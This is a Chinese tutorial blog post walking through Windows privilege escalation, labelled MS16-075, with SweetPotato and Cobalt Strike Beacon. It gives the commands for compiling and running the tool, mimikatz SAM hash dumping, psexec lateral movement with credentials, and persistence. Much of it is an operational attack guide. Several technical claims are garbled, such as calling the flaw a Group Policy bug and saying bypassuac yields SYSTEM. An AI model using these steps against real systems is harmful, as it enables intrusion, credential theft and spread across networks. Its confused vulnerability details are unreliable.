当前位置: 首页 > news >正文

MS16-075 漏洞 复现过程

目录

一、MS16-075 漏洞概述

二、为什么称之为“甜土豆”提权?

三、MS16-075 漏洞复现步骤

1. 下载 POC 和 EXP

2. 编译与准备 EXP

3. 利用 MS16-075 漏洞提权(本地执行)

4. 将 POC 转换为 Cobalt Strike Payload

四、通过 Cobalt Strike 进行提权的详细步骤

1. 上传工具至目标主机

2. 执行提权命令

3. 利用 CS 内置模块提权

五、提权成功后的进一步操作

总结

一、MS16-075 漏洞概述

  • CVE编号: CVE-2016-3225
  • 漏洞名称: Windows Group Policy Elevation of Privilege Vulnerability
  • 影响版本:
    • Windows Vista SP2
    • Windows Server 2008 SP2 和 R2 SP1
    • Windows 7 SP1
    • Windows 8.1
    • Windows Server 2012 和 2012 R2
    • Windows 10(早期版本)
  • 补丁发布: 2016年6月

漏洞描述:
MS16-075 漏洞利用 Windows 系统中 Group Policy(组策略)的权限提升问题,攻击者可以通过 SMB 请求的方式利用此漏洞,以 SYSTEM 权限执行任意代码。漏洞的核心原因在于 gpupdate 过程中的服务通信未进行适当的权限检查。


二、为什么称之为“甜土豆”提权?

  • “甜土豆”(SweetPotato)提权的由来:
    MS16-075 漏洞的利用方式与 “RottenPotato” 等系列漏洞(涉及 NTLM 中继攻击)有相似之处。
    • “RottenPotato” 是利用 DCOM 和 NTLM 中继进行提权的漏洞技术。
    • “甜土豆”(SweetPotato)则是该系列漏洞的后续版本,使用了类似的 COM 服务劫持与本地中继技术。
    • 命名原因: 开发者为了保持土豆系列的命名风格,称其为“甜土豆”。

三、MS16-075 漏洞复现步骤

环境准备:

  • 目标机器: 未打补丁的 Windows 7/8/10 以及 Server 2008/2012
  • 工具需求:
    • Cobalt Strike (CS)
    • MS16-075 漏洞利用脚本(EXP/POC)
    • Mimikatz(可选,用于权限验证)

1. 下载 POC 和 EXP
  • GitHub 下载地址:
    • SweetPotato GitHub
    • MS16-075 Exploit POC
    • 注意: 直接访问 GitHub 链接下载源码并进行编译,通常是 C++C# 语言编写的。

2. 编译与准备 EXP
  • 下载 SweetPotato 项目后,使用 Visual Studio 进行编译:

    git clone https://github.com/CCob/SweetPotato.git
    cd SweetPotato
    msbuild SweetPotato.sln
    
  • 成功编译后,你会得到 SweetPotato.exe


3. 利用 MS16-075 漏洞提权(本地执行)

命令示例:

SweetPotato.exe -p cmd.exe -a "/c whoami" -t 2

参数解析:

  • -p : 指定要执行的程序(如 cmd.exe)。
  • -a : 传递给程序的参数。
  • -t : 使用不同的 COM 接口类型(通常使用 23 尝试)。

预期结果:

  • 若漏洞利用成功,whoami 的输出应为 NT AUTHORITY\SYSTEM

4. 将 POC 转换为 Cobalt Strike Payload

方法一: 使用 Cobalt Strike 的外部工具模块

  • 步骤:
    1. SweetPotato.exe 上传至目标机器。
    2. 在 Beacon 中执行以下命令:
      execute-assembly SweetPotato.exe -p cmd.exe -a "/c whoami" -t 2
      
    3. 预期结果: SYSTEM 权限的 Beacon shell。

方法二: 制作自定义 Reflective DLL

  • 步骤:
    1. 将 SweetPotato 项目修改为 DLL 输出。
    2. 使用 Cobalt StrikeAggressor Script 加载该 DLL。
    3. 在 Beacon 会话中调用 DLL 进行提权。

四、通过 Cobalt Strike 进行提权的详细步骤

1. 上传工具至目标主机
  • 在 Beacon 会话中使用:
    upload C:\path\to\SweetPotato.exe
    

2. 执行提权命令
  • 在 Beacon 中运行:
    shell SweetPotato.exe -p cmd.exe -a "/c whoami" -t 2
    

预期结果:

  • 如果成功,whoami 会返回 NT AUTHORITY\SYSTEM

3. 利用 CS 内置模块提权
  • Cobalt Strike 内有 Token ImpersonationBypass UAC 等模块,可以辅助提权。
  • 使用 bypassuac 命令尝试提权:
    bypassuac
    
  • 若成功,Beacon 会话会提升为 SYSTEM 权限。

五、提权成功后的进一步操作

  1. 获取 SAM 与系统哈希:

    mimikatz.exe "lsadump::sam" exit
    
  2. 横向移动:

    • 使用 psexecwmiexec 进行横向移动。
    • 示例:
      psexec \\target_ip -u admin -p password cmd.exe
      
  3. 持久化操作:

    • 创建计划任务或修改启动项,确保重启后权限不丢失。

总结

  • MS16-075漏洞核心: 通过 SMB 请求劫持权限,利用 COM 接口执行代码。
  • 甜土豆提权: NTLM 中继 + COM 接口劫持的改进版,故称“甜土豆”。
  • CS中提权步骤:
    • 上传工具 -> 执行提权 -> 验证 SYSTEM 权限 -> 扩展操作 (如获取哈希、横向移动等)。
  • 成功标志: whoami 返回 NT AUTHORITY\SYSTEM

相关文章:

  • 小区服务|基于Java+vue的小区服务管理系统(源码+数据库+文档)
  • Java NIO(New I/O)
  • 【实验增效】5 μL/Test 高浓度液体试剂!Elabscience PE Anti-Mouse Ly6G抗体 简化流式细胞术流程
  • 连续空间链式推理与SoftCoT++介绍
  • 邂逅Node.js
  • IEEE 802.1Q协议下封装的VLAN数据帧格式
  • 如何管理和优化内核参数
  • CNBC专访CertiK联创顾荣辉:从形式化验证到AI赋能,持续拓展Web3.0信任边界
  • matlab编写的BM3D图像去噪方法
  • 深入浅出IIC协议 - 从总线原理到FPGA实战开发 -- 第三篇:Verilog实现I2C Master核
  • 【蓝桥杯真题精讲】第 16 届 Python A 组(省赛)
  • 网络安全之网络攻击spring临时文件利用
  • AR 开启昆虫学习新视界,解锁奇妙微观宇宙
  • 流复备机断档处理
  • 当前主流的传输技术(如OTN、IP-RAN、FlexE等)
  • 能管理MySQL、Oracle、达梦数据库的桌面管理软件开源了
  • 【神经网络与深度学习】扩散模型之原理解释
  • 第 84 场周赛:翻转图像、字符串中的查找与替换、图像重叠、树中距离之和
  • 常用UI自动化测试框架
  • 基于服务器的 DPI 深度分析解决方案
  • 北证50年内涨超42%,创历史新高!后市机构怎么看?
  • 英伟达推出新技术加速AI芯片连接,期望构建互联互通生态
  • 去年中企海外新增风电装机量5.4GW,亚太区域占比过半
  • 证监会副主席李明:支持符合条件的外资机构申请新业务、设立新产品
  • 杨建全已任天津市委副秘书长、市委市政府信访办主任
  • 新任重庆市垫江县委副书记刘振已任县政府党组书记